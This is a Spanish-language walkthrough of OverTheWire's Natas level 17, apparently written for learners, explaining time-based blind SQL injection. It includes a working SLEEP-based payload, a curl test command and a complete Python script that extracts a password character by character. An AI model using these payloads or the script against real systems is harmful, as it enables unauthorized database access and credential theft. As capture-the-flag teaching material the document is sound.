Natas Nivel 17 a 18

Nivel oficial: http://natas17.natas.labs.overthewire.org

Este nivel es un laboratorio legal y autorizado de OverTheWire — nunca apliques estas tecnicas fuera de entornos de practica con permiso explicito. El reto introduce la variante mas sigilosa de la inyeccion SQL: la aplicacion no muestra ningun texto diferente segun el resultado de la consulta, por lo que hay que medir el tiempo de respuesta del servidor para extraer informacion bit a bit.

Objetivo

Extraer la contrasena de natas18 abusando de una SQLi ciega basada en tiempo (SLEEP) sobre el formulario de busqueda de usuarios.

Que aprendes

Concepto / ComandoPara que sirve
SLEEP(n) (MySQL)Retrasa la respuesta n segundos si la condicion es verdadera
IF(cond, a, b)Evalua cond y devuelve a o b; usado junto a SLEEP
LIKE BINARYComparacion de cadenas sensible a mayusculas/minusculas
time.time() / requests (Python)Medir el tiempo de respuesta HTTP para inferir verdad/falso
Script de fuerza bruta caracter a caracterAutomatizar la extraccion de la contrasena completa

Concepto clave

Time-based blind SQLi es la tecnica que se usa cuando una inyeccion SQL existe pero la aplicacion no delata el resultado de ninguna manera visible (ni texto diferente, ni error, ni redirecciones distintas). La unica diferencia observable es el tiempo que tarda la respuesta:

  • Si la condicion inyectada es verdaderaSLEEP(n) se ejecuta → la respuesta llega con ~n segundos de retraso.
  • Si la condicion es falsa → sin retardo → respuesta inmediata.

El atacante itera sobre cada posicion de la contrasena y sobre el juego de caracteres posible, enviando peticiones del tipo:

-- Pseudocodigo del payload
username = natas18" AND IF(password LIKE BINARY "<prefijo_conocido>%", SLEEP(3), 0) #

Si la respuesta tarda ~3 s, el prefijo es correcto y se fija ese caracter; si responde en <1 s, se prueba el siguiente caracter del alfabeto.

Por que LIKE BINARY: la contrasena de Natas usa caracteres alfanumericos y distingue mayusculas. Sin BINARY, LIKE es insensible a mayusculas en MySQL y se obtendrian falsos positivos.

Paso a paso

  1. Autenticarse en el nivel anterior. Conectarse a natas17 con las credenciales obtenidas en el nivel 16:
# Usuario:    natas17
# Contrasena: <pass_natas17>
# URL:        http://natas17.natas.labs.overthewire.org
  1. Leer el codigo fuente. Abrir:
http://natas17.natas.labs.overthewire.org/index.php?source

El fragmento relevante del PHP sera similar a:

$query  = "SELECT * from users where username=\"". $username ."\"";
$res = mysqli_query($link, $query);
if($res) {
    if(mysqli_num_rows($res) > 0) {
        //Do nothing — sin echo diferenciador visible
    }
}

La aplicacion no imprime nada distinto si el usuario existe o no: la unica palanca disponible es el tiempo de respuesta.

  1. Verificar manualmente el canal de tiempo. Desde la terminal, inyectar un payload de prueba que duerma 3 segundos si la tabla existe:
curl -s -o /dev/null -w "%{time_total}\n" \
  --user natas17:<pass_natas17> \
  --data 'username=natas18" AND SLEEP(3) #' \
  http://natas17.natas.labs.overthewire.org/

Si el tiempo reportado es ~3 s, el canal de tiempo funciona y la inyeccion es viable.

  1. Automatizar la extraccion caracter a caracter. El siguiente script Python itera sobre cada posicion de la contrasena y sobre el juego de caracteres alfanumerico. Guardalo como exploit_natas17.py en tu maquina local:
import requests
import time
import string
 
URL      = "http://natas17.natas.labs.overthewire.org/"
AUTH     = ("natas17", "<pass_natas17>")
CHARSET  = string.ascii_letters + string.digits
SLEEP    = 3      # segundos de retardo si la condicion es verdadera
THRESHOLD = 2.0   # umbral: respuesta > THRESHOLD => condicion verdadera
 
password = ""
 
for position in range(1, 33):   # las contrasenas de Natas suelen tener 32 caracteres
    found = False
    for char in CHARSET:
        prefix = password + char
        payload = f'natas18" AND IF(password LIKE BINARY "{prefix}%",SLEEP({SLEEP}),0) #'
 
        t0 = time.time()
        requests.post(URL, auth=AUTH, data={"username": payload})
        elapsed = time.time() - t0
 
        if elapsed > THRESHOLD:
            password += char
            print(f"[+] Posicion {position}: '{char}'  ->  password hasta ahora: {password}")
            found = True
            break
 
    if not found:
        print(f"[!] No se encontro caracter valido en posicion {position}. Contrasena parcial: {password}")
        break
 
print(f"\n[*] Contrasena completa: {password}")

Ejecutar:

python3 exploit_natas17.py

Nota: El script asume 32 caracteres y el juego [a-zA-Z0-9]. Si el nivel usa un juego diferente, ampliar CHARSET. El umbral de 2.0 s es conservador para conexiones con latencia baja; ajusta THRESHOLD si experimentas falsos positivos/negativos en tu red.

  1. Recoger la contrasena. Al finalizar el script:
[*] Contrasena completa: <pass_natas18>
  1. Verificar. Abrir el nivel 18 con las credenciales obtenidas para confirmar el acceso antes de pasar.

Por que funciona

MySQL ejecuta IF(cond, SLEEP(3), 0) dentro del motor de base de datos, antes de devolver la respuesta HTTP. Cuando la condicion es verdadera, el hilo de MySQL queda bloqueado n segundos, y ese retardo se propaga integramente hasta el cliente HTTP. No hay ninguna diferencia en el cuerpo de la respuesta — solo en el tiempo de transito. El atacante convierte el canal temporal (latencia) en un canal de informacion binario: tarda/no-tarda equivale a verdadero/falso. Con 32 posiciones y ~62 caracteres posibles se necesitan como maximo 32 x 62 = ~1984 peticiones para reconstruir la contrasena completa.

Errores comunes

ErrorCausaSolucion
Falsos negativos (caracter correcto no detectado)Latencia de red variable supera el umbralAumentar SLEEP a 5 s y THRESHOLD a 3.5 s
Falsos positivos (caracter incorrecto detectado)Pico de latencia coincide con el retardo esperadoRepetir la peticion sospechosa dos veces y aceptar solo si ambas superan el umbral
Script se detiene antes de completar 32 caracteresLa contrasena es mas corta de lo esperadoDetectar cuando found == False en la posicion N y asumir que la contrasena termino en N-1
LIKE BINARY no distingue bienSe omitio BINARY y se mezclan mayusculas y minusculasAsegurarse de que el payload incluye LIKE BINARY y no solo LIKE

Pasar al siguiente nivel

Conectarse a natas18 con las credenciales extraidas:

URL:        http://natas18.natas.labs.overthewire.org
Usuario:    natas18
Contrasena: <pass_natas18>

Conexiones